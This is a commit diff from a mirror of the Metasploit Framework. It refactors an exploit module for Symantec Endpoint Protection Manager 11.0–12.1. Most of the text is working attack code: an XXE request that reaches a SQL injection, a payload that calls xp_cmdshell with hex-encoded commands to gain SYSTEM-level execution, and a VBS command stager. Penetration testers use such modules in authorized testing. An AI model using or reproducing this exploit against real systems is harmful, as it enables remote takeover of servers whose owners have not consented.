infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Clean up module

bug/bundler_fix
jvazquez-r7 2014-02-24 16:00:54 -06:00
parent 5485759353
commit 4908d80d6c
1 changed files with 34 additions and 52 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

86
modules/exploits/windows/http/symantec_endpoint_manager_rce.rb
View File

@ -4,10 +4,12 @@
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include REXML
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::Remote::HttpClient
@ -16,12 +18,10 @@ class Metasploit3 < Msf::Exploit::Remote
'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',
'Description' => %q{
This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
versions 11.0, 12.0 and 12.1.
When supplying a specially crafted XXE request to '/servlet/ConsoleServlet?ActionType=ConsoleLog', an
attacker can request the 'http://127.0.0.1:9090/servlet/ConsoleServlet' url. By injecting arbitrary SQL
statements into the 'Parameter' parameter further database access is possible. As xp_cmdshell is
enabled in the included database instance, it's possible to execute arbitrary system commands on the
remote system with SYSTEM privileges.
versions 11.0, 12.0 and 12.1. When supplying a specially crafted XXE request an attacker
can reach SQL injection affected components. As xp_cmdshell is enabled in the included
database instance, it's possible to execute arbitrary system commands on the remote system
with SYSTEM privileges.
},
'Author' =>
[
@ -32,34 +32,28 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ],
[ 'EDB', '31853'],
[ 'CVE', '2013-5014' ],
[ 'CVE', '2013-5015' ]
[ 'CVE', '2013-5015' ],
[ 'EDB', '31853'],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
],
'Targets' =>
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
]
['Windows VBS Stager', {}]
],
'Privileged' => true,
'Platform' => 'win',
'Privileged' => true,
'DisclosureDate' => 'Feb 24 2014',
'DefaultTarget' => 0))
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9090),
OptBool.new('SSL', [ true, 'Use SSL', false ]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
OptString.new('TARGETURI', [true, 'The base path', '/'])
], self.class)
end
def check
res = send_request_cgi(
{
@ -67,36 +61,27 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'GET',
})
if res and res.code == 200 and res.body =~ /Symantec Endpoint Protection Manager/ and res.body =~ /1995 - 2013 Symantec Corporation/
if res && res.code == 200 && res.body =~ /Symantec Endpoint Protection Manager/ && res.body =~ /1995 - 2013 Symantec Corporation/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
Exploit::CheckCode::Safe
end
def windows_stager
# Random exe name
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending payload")
def exploit
print_status("#{peer} - Sending payload")
# Execute the cmdstager, max length of the commands is ~3950
execute_cmdstager({:linemax => 3950})
end
def execute_command(cmd, opts = {})
# Convert the command data to hex, so we can use that in the xp_cmdshell. Else characters like '>' will be harder to bypass in the XML.
command = "0x#{Rex::Text.to_hex("cmd /c #{cmd}", '')}"
# Generate random 'xx032xxxx' sequence number.
seqnum = "#{rand_text_numeric(2)}032#{rand_text_numeric(4)}"
soap = %Q|<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE sepm [<!ENTITY payload SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >]>
<request>
<xxe>&payload;</xxe>
</request>|
soap = soap_request(seqnum, command)
post_data = Rex::MIME::Message.new
post_data.add_part(soap, "text/xml", nil, "form-data; name=\"Content\"")
@ -112,28 +97,25 @@ class Metasploit3 < Msf::Exploit::Remote
})
if res and res.body !~ /ResponseCode/
fail_with(Failure::Unknown, "#{datastore['RHOST']}:#{datastore['RPORT']} - Something went wrong.")
fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
end
end
def exploit
def soap_request(seqnum, command)
entity = "<!ENTITY payload SYSTEM \"http://127.0.0.1:9090/servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av&SequenceNum=#{seqnum}&Parameter=';call xp_cmdshell(#{command});--\" >"
if not datastore['CMD'].empty?
print_status("Executing command '#{datastore['CMD']}'")
execute_command(datastore['CMD'])
return
end
xml = Document.new
xml.add(DocType.new('sepm', "[ METASPLOIT ]"))
xml.add_element("Request")
xxe = xml.root.add_element("xxe")
xxe.text = "PAYLOAD"
case target['Platform']
when 'win'
windows_stager
else
fail_with(Failure::Unknown, 'Target not supported.')
end
handler
xml_s = xml.to_s
xml_s.gsub!(/METASPLOIT/, entity) # To avoid html encoding
xml_s.gsub!(/PAYLOAD/, "&payload;") # To avoid html encoding
xml_s
end
end